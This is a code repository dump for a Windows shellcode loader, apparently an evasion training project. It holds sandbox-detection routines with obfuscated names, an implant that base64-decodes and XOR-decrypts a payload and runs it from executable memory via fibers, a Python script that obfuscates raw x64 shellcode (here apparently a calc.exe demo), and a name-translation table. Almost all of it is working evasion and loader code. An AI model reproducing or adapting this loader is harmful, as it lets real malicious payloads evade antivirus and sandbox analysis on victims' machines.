52 | if (__infinity_loop == 5) return FALSE;
53 | }
54 | __infinity_loop = 0;
55 | _Sleep(INTERVAL*10);
56 |
57 | while(1){
58 | res2 = _GetCursorPos(&p2);
59 | if (res2) break;
60 | _Sleep(INTERVAL);
61 | __infinity_loop += 1;
62 | if (__infinity_loop == 5) return FALSE;
63 | }
64 |
65 | if (res1 && res2){
66 | if (p1.x==p2.x || p1.y == p2.y || ((p1.x-p2.x)==(p1.y-p2.y))){
67 | return FALSE;
68 | }
69 | else {
70 | return TRUE;
71 | }
72 | }
73 | else{
74 | return FALSE;
75 | }
76 |
77 | }
78 |
79 | /// Check for Sandboxes
80 | int wUtMwCHxxt10(){
81 | BOOL __sleep_patch = QYyuqVKHPv54();
82 | BOOL __cursor_activity = CSipwtXlcS51();
83 |
84 | if (__sleep_patch && __cursor_activity){
85 | return 0;
86 | }
87 |
88 | return -1;
89 | }
90 |
--------------------------------------------------------------------------------
/implant.cpp:
--------------------------------------------------------------------------------
1 | /// Compile With:
2 | /// cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /I "headers" /link /OUT:executables\levelX.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
3 | #include
4 | #include
5 | #include
6 | #include
7 | #pragma comment (lib, "Crypt32.lib")
8 |
9 | /// User defined headers
10 | #include "sandbox.h"
11 |
12 | // Payload String - Level 2
13 | unsigned char payload[] = {
14 | 0x6e, 0x53, 0x72, 0x67, 0x67, 0x4a, 0x57, 0x4f, 0x70, 0x32, 0x68, 0x70, 0x61,
15 | 0x69, 0x6f, 0x39, 0x4c, 0x44, 0x34, 0x39, 0x49, 0x53, 0x63, 0x36, 0x51, 0x71,
16 | 0x59, 0x51, 0x50, 0x76, 0x77, 0x71, 0x47, 0x54, 0x4c, 0x71, 0x4d, 0x48, 0x73,
17 | 0x73, 0x37, 0x6a, 0x52, 0x48, 0x49, 0x4f, 0x49, 0x59, 0x4f, 0x79, 0x52, 0x69,
18 | 0x32, 0x53, 0x55, 0x36, 0x50, 0x45, 0x4f, 0x36, 0x50, 0x45, 0x53, 0x32, 0x32,
19 | 0x30, 0x51, 0x59, 0x42, 0x6d, 0x4e, 0x4f, 0x51, 0x79, 0x57, 0x6b, 0x72, 0x32,
20 | 0x6f, 0x70, 0x61, 0x4b, 0x75, 0x4a, 0x67, 0x54, 0x38, 0x76, 0x50, 0x6a, 0x6a,
21 | 0x36, 0x49, 0x46, 0x50, 0x2f, 0x4e, 0x30, 0x6f, 0x2f, 0x65, 0x61, 0x6e, 0x78,
22 | 0x34, 0x65, 0x70, 0x6a, 0x5a, 0x47, 0x55, 0x75, 0x34, 0x71, 0x67, 0x64, 0x44,
23 | 0x53, 0x4e, 0x74, 0x76, 0x54, 0x37, 0x6b, 0x4f, 0x47, 0x6b, 0x32, 0x2b, 0x44,
24 | 0x52, 0x56, 0x50, 0x33, 0x61, 0x6f, 0x6d, 0x69, 0x77, 0x70, 0x6e, 0x61, 0x6f,
25 | 0x6c, 0x37, 0x6c, 0x4c, 0x76, 0x49, 0x47, 0x69, 0x38, 0x4a, 0x6c, 0x32, 0x6b,
26 | 0x4a, 0x6c, 0x36, 0x77, 0x33, 0x54, 0x4f, 0x79, 0x76, 0x58, 0x67, 0x33, 0x64,
27 | 0x72, 0x6c, 0x42, 0x6d, 0x68, 0x53, 0x54, 0x4c, 0x32, 0x63, 0x70, 0x51, 0x6d,
28 | 0x38, 0x74, 0x55, 0x4c, 0x73, 0x65, 0x74, 0x44, 0x55, 0x71, 0x35, 0x44, 0x42,
29 | 0x56, 0x4f, 0x33, 0x4b, 0x6b, 0x45, 0x7a, 0x66, 0x38, 0x64, 0x44, 0x45, 0x2b,
30 | 0x36, 0x69, 0x4a, 0x2f, 0x4c, 0x57, 0x53, 0x32, 0x4a, 0x75, 0x4e, 0x74, 0x34,
31 | 0x69, 0x4e, 0x74, 0x76, 0x53, 0x38, 0x33, 0x4d, 0x53, 0x6b, 0x73, 0x4b, 0x69,
32 | 0x34, 0x30, 0x4c, 0x6a, 0x59, 0x68, 0x4f, 0x43, 0x41, 0x70, 0x34, 0x59, 0x39,
33 | 0x45, 0x4a, 0x44, 0x53, 0x59, 0x69, 0x44, 0x45, 0x72, 0x4d, 0x6a, 0x59, 0x6c,
34 | 0x35, 0x58, 0x32, 0x5a, 0x4a, 0x6f, 0x32, 0x4d, 0x69, 0x79, 0x67, 0x2b, 0x7a,
35 | 0x58, 0x6c, 0x35, 0x65, 0x6d, 0x46, 0x69, 0x59, 0x32, 0x52, 0x6c, 0x4c, 0x75,
36 | 0x72, 0x6c, 0x61, 0x47, 0x74, 0x72, 0x62, 0x43, 0x7a, 0x55, 0x58, 0x76, 0x73,
37 | 0x65, 0x39, 0x59, 0x79, 0x68, 0x7a, 0x6f, 0x62, 0x43, 0x32, 0x69, 0x38, 0x37,
38 | 0x32, 0x38, 0x54, 0x32, 0x32, 0x66, 0x69, 0x5a, 0x73, 0x69, 0x44, 0x71, 0x72,
39 | 0x6b, 0x4e, 0x51, 0x61, 0x78, 0x4a, 0x6c, 0x38, 0x49, 0x71, 0x53, 0x42, 0x6e,
40 | 0x48, 0x4f, 0x4d, 0x57, 0x51, 0x4b, 0x46, 0x68, 0x42, 0x68, 0x4f, 0x79, 0x4c,
41 | 0x74, 0x76, 0x35, 0x6d, 0x79, 0x43, 0x77, 0x67, 0x47, 0x43, 0x45, 0x49, 0x49,
42 | 0x46, 0x67, 0x70, 0x77 };
43 |
44 | // Length of payload array
45 | unsigned int payload_len = (unsigned int)(sizeof(payload)/sizeof(payload[0]));
46 |
47 | /// Main Function
48 | ///
49 | /// Returns
50 | /// 0 - OK
51 | /// -1 - VirtualAlloc() failed
52 | /// -2 - VirtualProtect() failed
53 | /// -3 - ConvertThreadToFiber() failed
54 | /// -4 - CreateFiber() failed
55 | /// -5 - Base64 decoding failed while trying to assess the length of the resulting string
56 | /// -6 - Base64 decoding failed
57 | /// -98 - Failed to populate functions
58 | /// -99 - Sandbox check failed
59 | int main(void){
60 | BOOL rv;
61 | BOOL b64_return;
62 | DWORD _event = 0;
63 | void * exec_mem;
64 | DWORD oldprotect = 0;
65 | DWORD decoded_data_len;
66 | LPVOID th;
67 | LPVOID fiber;
68 |
69 | // Populate functions
70 | if (__get_funcs() != 0){
71 | // fprintf(stderr, "Failed to populate functions\n");
72 | return -98;
73 | }
74 |
75 | // Convert main Thread to fiber
76 | th = _ConvertThreadToFiber(NULL);
77 | if(th == NULL){
78 | // fprintf(stderr, "ConvertThreadToFiber failed!\n");
79 | return -3;
80 | }
81 |
82 | // Check for sandbox
83 | if (wUtMwCHxxt10() != 0) {
84 | // fprintf(stderr, "Sandbox Environment!\n");
85 | return -99;
86 | }
87 |
88 | b64_return = _CryptStringToBinaryA((LPCSTR) payload, payload_len, CRYPT_STRING_BASE64, NULL, &decoded_data_len, NULL, NULL);
89 | if (b64_return == NULL){
90 | // fprintf(stderr, "Base64 Decoding Failed with error: %d\n", GetLastError());
91 | return -5;
92 | }
93 |
94 | // Allocate a memory buffer for payload
95 | exec_mem = _VirtualAlloc(0, decoded_data_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
96 | if (exec_mem == NULL){
97 | // fprintf(stderr, "VirtualAlloc Failed with error code: %d\n", GetLastError());
98 | return -1;
99 | }
100 |
101 | // Decode the string
102 | b64_return = _CryptStringToBinaryA((LPCSTR) payload, payload_len, CRYPT_STRING_BASE64, (BYTE * )exec_mem, &decoded_data_len, NULL, NULL);
103 | if (b64_return == NULL){
104 | // fprintf(stderr, "Base64 Decoding Failed with error: %d\n", GetLastError());
105 | return -6;
106 | }
107 |
108 | // XOR Payload
109 | LCzOatFaVf71((unsigned char*)exec_mem, decoded_data_len, XOR_KEY, xor_key_len);
110 |
111 | // Make new buffer as executable
112 | rv = _VirtualProtect(exec_mem, decoded_data_len, PAGE_EXECUTE_READ, &oldprotect);
113 | if ( rv == 0 ) {
114 | // fprintf(stderr, "VirtualProtect Failed with error code: %d\n", GetLastError());
115 | return -2;
116 | }
117 |
118 | fiber = _CreateFiber(0, (LPFIBER_START_ROUTINE)exec_mem, NULL);
119 | if (fiber == NULL){
120 | // fprintf(stderr, "CreateFiber Failed with error code: %d\n", GetLastError());
121 | return -4;
122 | }
123 |
124 | _SwitchToFiber(fiber);
125 |
126 | return 0;
127 | }
--------------------------------------------------------------------------------
/scripts/obfuscator.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | from base64 import b64encode
3 | from random import choice
4 | from string import ascii_letters, digits
5 | from sys import exit
6 |
7 | RAW_PAYLOAD = [0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00]
8 | XOR_KEY = "abcdefghijklmnopqrstuvwxyz"
9 | FUNC_XOR_KEY = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
10 |
11 | # Produce XOR
12 | def xor_func_name(func_name):
13 | _result = list()
14 | for i in range(len(func_name)):
15 | _result.append((ord(func_name[i]) ^ ord(FUNC_XOR_KEY[i%len(FUNC_XOR_KEY)])));
16 | _result.append(0)
17 | print_payload(_result)
18 | return _result
19 |
20 |
21 | # Print in hex
22 | def print_payload(payload):
23 | i = 1
24 | _delimeter = "\n"
25 | print("{")
26 | for _c in payload:
27 | _delimeter = " " if i==len(payload) else ", " if (i% 13 != 0) else ",\n"
28 | print("0x{:02x}".format(_c), end = _delimeter)
29 | i = i+1
30 | print("};")
31 | print("Payload Len: ", len(payload))
32 |
33 |
34 | # Generate random strings
35 | def gen_rand_str(count, size=12):
36 | if count <= 0:
37 | return
38 | else:
39 | for i in range(count):
40 | letters = ''.join(choice(ascii_letters) for i in range(size-2))
41 | digs = ''.join(choice(digits) for i in range(2))
42 | print(f"{letters}{digs}")
43 |
44 |
45 | class Obsfucator:
46 | def __init__(self, raw_payload, xor_key):
47 | self.raw_payload = [x for x in raw_payload]
48 | self.raw_len = len(self.raw_payload)
49 | self.base64_payload = None
50 | self.base64_payload_len = 0
51 | self.xor_key = [ord(x) for x in xor_key]
52 |
53 |
54 | def level0(self):
55 | "Print the raw payload"
56 | print_payload(self.raw_payload)
57 |
58 |
59 | def level1(self):
60 | "XOR Payload"
61 | payload_len = self.raw_len
62 | key_len = len(self.xor_key)
63 |
64 | for i in range(payload_len):
65 | _payload_element = self.raw_payload[i]
66 | _key_element = self.xor_key[i%key_len]
67 | self.raw_payload[i] = _payload_element ^ _key_element
68 |
69 |
70 | def level2(self):
71 | "Base64 payload from Level 1"
72 | self.level1()
73 | _enc_payload = b64encode(bytes(self.raw_payload)).decode()
74 | self.raw_payload = [ord(x) for x in _enc_payload]
75 | self.level0()
76 |
77 |
78 | def main():
79 | # obs = Obsfucator(RAW_PAYLOAD, XOR_KEY)
80 | # obs.level2()
81 | gen_rand_str(12)
82 | return 0
83 |
84 | if __name__ == '__main__':
85 | exit_code = main()
86 | exit(exit_code)
--------------------------------------------------------------------------------
/translate.txt:
--------------------------------------------------------------------------------
1 | LCzOatFaVf71 -> XOR
2 | QYyuqVKHPv54 -> __check_sleep_patch
3 | CSipwtXlcS51 -> __check_cursor_activity
4 | wUtMwCHxxt10 -> check_sandbox
5 | boUpJkYnxh29 -> __decrypt_function_name
6 |
--------------------------------------------------------------------------------